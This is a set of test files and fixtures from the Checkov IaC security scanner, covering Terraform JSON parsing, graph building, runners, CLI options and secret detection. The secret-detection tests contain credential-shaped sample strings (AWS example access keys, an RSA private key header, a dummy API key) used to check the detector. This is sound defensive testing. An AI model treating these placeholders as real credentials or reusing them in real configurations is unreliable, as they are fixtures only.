"kms:EncryptionContext:service": ["pi"], "kms:EncryptionContext:aws:pi:service": ["rds"], "kms:EncryptionContext:aws:rds:db-id": [ "db-AAAAABBBBBCCCCCDDDDDEEEEE", "db-EEEEEDDDDDCCCCCBBBBBAAAAA", ], }, "ArnEquals": {"aws:SourceArn": ["arn"]}, }, } ], }, ) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform_json/__init__.py ================================================ ================================================ FILE: tests/terraform_json/examples/cdk.tf.json ================================================ { "//": { "metadata": { "backend": "local", "overrides": { "aws_s3_bucket": [ "//" ] }, "stackName": "AppStack", "version": "0.15.5" }, "outputs": { "AppStack": { "bucket_arn": "bucket_arn" } } }, "data": { "aws_caller_identity": { "current": { "//": { "metadata": { "path": "AppStack/current", "uniqueId": "current" } } } } }, "output": { "bucket_arn": { "value": "${aws_s3_bucket.bucket.arn}" } }, "provider": { "aws": [ { "profile": "dev2", "region": "us-west-2" } ] }, "resource": { "aws_s3_bucket": { "bucket": { "//": { "checkov": { "skip": [ { "comment": "Access logging not needed", "id": "CKV_AWS_18" } ] }, "metadata": { "path": "AppStack/bucket", "uniqueId": "bucket" } }, "tags": { "Name": "example", "Private": "true" } } }, "aws_s3_bucket_versioning": { "bucket_version": { "//": { "metadata": { "path": "AppStack/bucket_version", "uniqueId": "bucket_version" } }, "bucket": "${aws_s3_bucket.bucket.bucket}", "versioning_configuration": { "status": "Enabled" } } } }, "terraform": { "backend": { "local": { "path": "/Users/agruebel/repos/local/cdk-test/terraform.AppStack.tfstate" } }, "required_providers": { "aws": { "source": "aws", "version": "4.56.0" } } } } ================================================ FILE: tests/terraform_json/test_graph_manager.py ================================================ from pathlib import Path import pytest from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.graph_components.block_types import BlockType from checkov.common.util.consts import START_LINE, END_LINE from checkov.terraform.graph_manager import TerraformGraphManager from checkov.terraform_json.parser import parse EXAMPLES_DIR = Path(__file__).parent / "examples" @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_build_graph_from_definitions(graph_connector): # given test_file = EXAMPLES_DIR / "cdk.tf.json" graph_manager = TerraformGraphManager(db_connector=graph_connector(), source="Terraform") template, _ = parse(file_path=test_file) # when local_graph = graph_manager.build_graph_from_definitions( definitions={str(test_file): template}, render_variables=True ) # then assert len(local_graph.vertices) == 6 bucket_idx = local_graph.vertices_block_name_map["resource"]["aws_s3_bucket.bucket"][0] bucket = local_graph.vertices[bucket_idx] assert bucket.block_type == BlockType.RESOURCE assert bucket.id == "aws_s3_bucket.bucket" assert bucket.source == "Terraform" assert bucket.attributes[CustomAttributes.RESOURCE_TYPE] == ["aws_s3_bucket"] assert bucket.attributes[START_LINE] == 46 assert bucket.attributes[END_LINE] == 65 assert bucket.config == { "aws_s3_bucket": { "bucket": { "//": { "checkov": { "skip": [ { "comment": "Access logging not needed", "id": "CKV_AWS_18", "__startline__": 50, "__endline__": 53, } ], "__startline__": 48, "__endline__": 55, }, "metadata": { "path": "AppStack/bucket", "uniqueId": "bucket", "__startline__": 56, "__endline__": 59, }, "__startline__": 47, "__endline__": 60, }, "tags": [{"Name": "example", "Private": "true", "__startline__": 61, "__endline__": 64}], "__startline__": 46, "__endline__": 65, "__address__": "aws_s3_bucket.bucket", } } } ================================================ FILE: tests/terraform_json/test_parser.py ================================================ from checkov.terraform_json.parser import hclify, prepare_definition def test_hclify(): # given bucket_version = { "//": { "metadata": { "path": "AppStack/bucket_version", "uniqueId": "bucket_version", } }, "bucket": "${aws_s3_bucket.bucket.bucket}", "versioning_configuration": { "status": "Enabled", }, } # when result = hclify(obj=bucket_version) # then assert result == { "//": { "metadata": { "path": "AppStack/bucket_version", "uniqueId": "bucket_version", } }, "bucket": ["${aws_s3_bucket.bucket.bucket}"], "versioning_configuration": [ { "status": ["Enabled"], } ], } def test_prepare_definition_locals(): cdk_definition = { "locals": { "bucket_name": "example", "http_endpoint": "disabled", "__startline__": 1, "__endline__": 2, } } # when tf_definition = prepare_definition(cdk_definition) # then assert tf_definition == { "locals": [ { "bucket_name": ["example"], "http_endpoint": ["disabled"], "__startline__": 1, "__endline__": 2, } ] } ================================================ FILE: tests/terraform_json/test_runner.py ================================================ from pathlib import Path import pytest from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.runner_filter import RunnerFilter from checkov.terraform_json.runner import TerraformJsonRunner EXAMPLES_DIR = Path(__file__).parent / "examples" @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_runner_honors_enforcement_rules(graph_connector): # given test_file = EXAMPLES_DIR / "cdk.tf.json" # when filter = RunnerFilter(framework=[CheckType.TERRAFORM_JSON], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.TERRAFORM_JSON: Severities[BcSeverities.OFF]} report = TerraformJsonRunner(db_connector=graph_connector()).run(files=[str(test_file)], runner_filter=filter) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_runner_passing_check(graph_connector): # given test_file = EXAMPLES_DIR / "cdk.tf.json" # when report = TerraformJsonRunner(db_connector=graph_connector()).run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_AWS_41", "CKV_AWS_21"]) ) # then summary = report.get_summary() assert summary["passed"] == 2 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_runner_failing_check(graph_connector): # given test_file = EXAMPLES_DIR / "cdk.tf.json" # when report = TerraformJsonRunner(db_connector=graph_connector()).run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV2_AWS_6"]) ) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 1 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 ================================================ FILE: tests/test_contributor_metrics.py ================================================ from __future__ import annotations from unittest import mock from checkov.contributor_metrics import process_contributor, parse_gitlog def test_process_contributor(): contributor = 'Fake User (50):\n commit-1667835804\n commit-1667835527\n ' \ 'commit-1667834817\n commit-1667826784\n commit-1667808222' result = process_contributor(contributor) assert result == "Fake User 1667835804" @mock.patch("subprocess.Popen") def test_parse_gitlog(mock_subproc_popen): process_mock = mock.Mock() output = 'Fake User (40):\n commit-1666516907\n commit-1666259461\n ' \ 'commit-1666259213\n commit-1666258676\n commit-1666258296\n commit-1666258146\n ' \ 'commit-1660669175\n commit-1660668538\n commit-1660626680\n commit-1660626648\n ' \ 'commit-1660589354\n commit-1660588125\n\n' \ 'dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> (38):\n ' \ 'commit-1667819806\n commit-1667819799\n commit-1667819792\n commit-1667216836\n ' \ 'commit-1662541125\n commit-1662476433\n commit-1661850978\n commit-1661850966\n ' \ 'commit-1661746095\n commit-1661154962\n commit-1661154940\n\n' \ 'Fake User (31):\n commit-1667216980\n commit-1667216720\n ' \ 'commit-1667216720\n commit-1661265981\n commit-1661265975\n commit-1660808330\n ' \ 'commit-1660799407\n commit-1660737117\n commit-1660632107\n commit-1660631663' attrs = {"communicate.return_value": (output.encode('utf-8'), '')} process_mock.configure_mock(**attrs) mock_subproc_popen.return_value = process_mock result = parse_gitlog("my_repo", "jenkins") assert result == {"repository": "my_repo", "source": "jenkins", "contributors": ["Fake User 1666516907", "dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> 1667819806", "Fake User 1667216980"], 'failedAttempts': []} ================================================ FILE: tests/test_main.py ================================================ from __future__ import annotations import logging from pathlib import Path from typing import TYPE_CHECKING from _pytest.logging import LogCaptureFixture from typing_extensions import Literal from checkov import main from checkov.common.runners.base_runner import BaseRunner from checkov.common.runners.runner_registry import RunnerRegistry from checkov.common.util.type_forcers import convert_str_to_optional_bool from checkov.main import DEFAULT_RUNNERS, Checkov from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: import argparse from checkov.common.output.baseline import Baseline from checkov.common.output.report import Report class CustomRunnerRegistry(RunnerRegistry): def __init__(self, banner: str, runner_filter: RunnerFilter, *runners: BaseRunner) -> None: super().__init__(banner, runner_filter, *runners) def print_reports( self, scan_reports: list[Report], config: argparse.Namespace, url: str | None = None, created_baseline_path: str | None = None, baseline: Baseline | None = None, ) -> Literal[0, 1]: # result doesn't matter, just don't want it to print to console return 0 def test_run_with_outer_registry_and_framework_flag(): # given custom_banner = "custom banner" resource_dir = Path(__file__).parent / "common/runner_registry/example_multi_iac" argv = ["-d", str(resource_dir), "--framework", "terraform"] # when main.outer_registry = CustomRunnerRegistry(custom_banner, RunnerFilter(), *DEFAULT_RUNNERS) ckv = Checkov() ckv.parse_config(argv=argv) ckv.run(banner=custom_banner) # then assert len(main.outer_registry.runners) == 1 assert main.outer_registry.runners[0].check_type == "terraform" # cleanup main.outer_registry = None def test_run(): # given custom_banner = "custom banner" custom_tool = "custom tool" resource_dir = Path(__file__).parent / "common/runner_registry/example_multi_iac" argv = ["-d", str(resource_dir), "--framework", "terraform", "kubernetes"] # when ckv = Checkov() ckv.parse_config(argv=argv) ckv.run(banner=custom_banner, tool=custom_tool) # then # check run_metadata has all fields set assert ckv.run_metadata["checkov_version"] and isinstance(ckv.run_metadata["checkov_version"], str) assert ckv.run_metadata["python_executable"] and isinstance(ckv.run_metadata["python_executable"], str) assert ckv.run_metadata["python_version"] and isinstance(ckv.run_metadata["python_version"], str) assert ckv.run_metadata["checkov_executable"] and isinstance(ckv.run_metadata["checkov_executable"], str) assert ckv.run_metadata["args"] and isinstance(ckv.run_metadata["args"], list) # check all runners were initialized, but only 2 were actually run assert len(ckv.runners) == 29 assert len(ckv.scan_reports) == 2 assert {report.check_type for report in ckv.scan_reports} == {"kubernetes", "terraform"} def test_run_with_severity_filter_and_api_key(caplog: LogCaptureFixture): # given caplog.set_level(logging.WARNING) custom_banner = "custom banner" resource_dir = Path(__file__).parent / "common/runner_registry/example_multi_iac" argv = [ "-d", str(resource_dir), "--framework", "terraform", "--check", "MEDIUM", "--bc-api-key", "12345678-abcd-1234-abcd-123456789012", "--repo-id", "acme/example", "--show-config", # just set to terminate the run early enough ] # when ckv = Checkov() ckv.parse_config(argv=argv) ckv.run(banner=custom_banner) # then assert not caplog.messages def test_run_with_severity_filter_without_api_key(caplog: LogCaptureFixture): # given caplog.set_level(logging.WARNING) custom_banner = "custom banner" resource_dir = Path(__file__).parent / "common/runner_registry/example_multi_iac" argv = [ "-d", str(resource_dir), "--framework", "terraform", "--check", "MEDIUM", ] # when ckv = Checkov() ckv.parse_config(argv=argv) ckv.run(banner=custom_banner) # then assert "Filtering checks by severity is only possible with an API key" in caplog.messages def test_run_with_severity_skip_filter_without_api_key(caplog: LogCaptureFixture): # given caplog.set_level(logging.WARNING) custom_banner = "custom banner" resource_dir = Path(__file__).parent / "common/runner_registry/example_multi_iac" argv = [ "-d", str(resource_dir), "--framework", "terraform", "--skip-check", "MEDIUM", ] # when ckv = Checkov() ckv.parse_config(argv=argv) ckv.run(banner=custom_banner) # then assert "Filtering checks by severity is only possible with an API key" in caplog.messages def test_run_custom_severity(): custom_banner = "custom banner" resource_dir = Path(__file__).parent / "common/runner_registry/example_multi_iac" extra_checks_dir_path = Path(__file__).parent / "common/checks_infra/examples" argv = ["-d", str(resource_dir), "--framework", "terraform", "--external-checks-dir", str(extra_checks_dir_path), "--check", "CUSTOM_SEVERITY"] # when ckv = Checkov() ckv.parse_config(argv=argv) ckv.run(banner=custom_banner) # then for report in ckv.scan_reports: assert report.failed_checks[0].check_id == "CUSTOM_SEVERITY" assert report.failed_checks[0].severity.name == "HIGH" def test_run_without_custom_severity(): custom_banner = "custom banner" resource_dir = Path(__file__).parent / "common/runner_registry/example_multi_iac" extra_checks_dir_path = Path(__file__).parent / "common/checks_infra/examples" argv = ["-d", str(resource_dir), "--framework", "terraform", "--external-checks-dir", str(extra_checks_dir_path), "--check", "CUSTOM_WITHOUT_SEVERITY"] # when ckv = Checkov() ckv.parse_config(argv=argv) ckv.run(banner=custom_banner) # then for report in ckv.scan_reports: assert report.failed_checks[0].check_id == "CUSTOM_WITHOUT_SEVERITY" assert not report.failed_checks[0].severity def test_optional_download_external_modules(): args=[ ['-d', '.', '--framework', 'all'], ['-d', '.', '--framework', 'all', '--download-external-modules', 'true'], ['-d', '.', '--framework', 'all', '--download-external-modules', 'false'] ] assert convert_str_to_optional_bool(Checkov(argv=args[0]).config.download_external_modules) is None assert convert_str_to_optional_bool(Checkov(argv=args[1]).config.download_external_modules) is True assert convert_str_to_optional_bool(Checkov(argv=args[2]).config.download_external_modules) is False ================================================ FILE: tests/test_runner_filter.py ================================================ from typing import Optional, List, Set import pytest from checkov.main import checkov_runners from checkov.runner_filter import RunnerFilter @pytest.mark.parametrize( "input_frameworks,input_skip_frameworks,expected_frameworks", [ (["all"], None, {"all", "sast"}), (None, None, {"all"}), (["terraform"], None, {"terraform"}), (["cloudformation", "serverless"], None, {"cloudformation", "serverless"}), (["cdk"], None, {"cdk"}), (["cdk", "sast"], None, {"cdk", "sast"}), ( ["all"], ["terraform", "secrets"], { "ansible", "argo_workflows", "arm", "azure_pipelines", "bicep", "cdk", "cloudformation", "dockerfile", "helm", "json", "yaml", "kubernetes", "serverless", "terraform_json", "terraform_plan", "github_configuration", "github_actions", "gitlab_configuration", "gitlab_ci", "bitbucket_configuration", "bitbucket_pipelines", "circleci_pipelines", "kustomize", "sca_package", "openapi", "sca_image", "sast", "3d_policy" }, ), (["cloudformation", "serverless"], ["serverless", "secrets"], {"cloudformation"}), ], ids=["all", "none", "terraform", "multiple", "only cdk", "cdk and sast", "all_with_skip", "multiple_with_skip"], ) def test_runner_filter_constructor_framework( input_frameworks: Optional[List[str]], input_skip_frameworks: Optional[List[str]], expected_frameworks: Set[str] ): # when runner_filter = RunnerFilter( framework=input_frameworks, runners=checkov_runners, skip_framework=input_skip_frameworks, ) # then assert set(runner_filter.framework) == expected_frameworks ================================================ FILE: tests/unit/__init__.py ================================================ ================================================ FILE: tests/unit/test_secrets.py ================================================ import unittest from checkov.common.util.secrets import string_has_secrets, ALL, AWS, GENERAL, omit_secret_value_from_line, \ get_secrets_from_string class TestSecrets(unittest.TestCase): def test_secrets(self): test_strings = [ 'AKIAIOSFODNN7EXAMPLE', # checkov:skip=CKV_SECRET_2 test secret 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY', # checkov:skip=CKV_SECRET_6 test secret '-----BEGIN RSA PRIVATE KEY-----\n', # checkov:skip=CKV_SECRET_13 test secret 'Hello from Bridgecrew', 'cert-manager.io/secret: org/repo', ] # check that no category checks all self.assertEqual(3, sum(1 for s in test_strings if string_has_secrets(s))) # check one category self.assertEqual(2, sum(1 for s in test_strings if string_has_secrets(s, AWS))) # check two categories self.assertEqual(3, sum(1 for s in test_strings if string_has_secrets(s, AWS, GENERAL))) # check explicit all self.assertEqual(3, sum(1 for s in test_strings if string_has_secrets(s, ALL))) # check explicit all plus another category self.assertEqual(3, sum(1 for s in test_strings if string_has_secrets(s, ALL, AWS))) # Regression test for https://github.com/bridgecrewio/checkov/issues/754 def test_does_not_consider_single_hash_as_a_secret(self): # SHA1 self.assertFalse(string_has_secrets("b5a5b36b6be8d98c6f1bea655536d67abef23be8")) # MD5 self.assertFalse(string_has_secrets("d9de48cf0676e9edb99bd8ee1ed44a21")) def test_omit_secret_value_from_line(self): secret = 'AKIAIOSFODNN7EXAMPLE' # checkov:skip=CKV_SECRET_6 test secret line = 'access_key: "AKIAIOSFODNN7EXAMPLE"' censored_line = omit_secret_value_from_line(secret, line) self.assertEqual(censored_line, 'access_key: "AKIAI**********"') def test_omit_none_secret_from_line(self): line = 'text' self.assertEqual(line, omit_secret_value_from_line(secret=None, line_text=line)) def test_omit_non_string_secret_from_line(self): line = 'text' secret = True self.assertEqual(line, omit_secret_value_from_line(secret, line)) def test_omit_long_secret_value_from_line(self): secret = '123456AKIAIOSFODNN7EXAMPLEAKIAIOSFODNN7EXAMPLEAKIAIOSFODNN7EXAM' # checkov:skip=CKV_SECRET_6 test secret line = 'access_key: "123456AKIAIOSFODNN7EXAMPLEAKIAIOSFODNN7EXAMPLEAKIAIOSFODNN7EXAM"' censored_line = omit_secret_value_from_line(secret, line) self.assertEqual(censored_line, 'access_key: "123456**********"') def test_get_secrets_from_secrets(self): s = 'access_key: "AKIAIOSFODNN7EXAMPLE"' secret = get_secrets_from_string(s) assert secret == ["AKIAIOSFODNN7EXAMPLE"]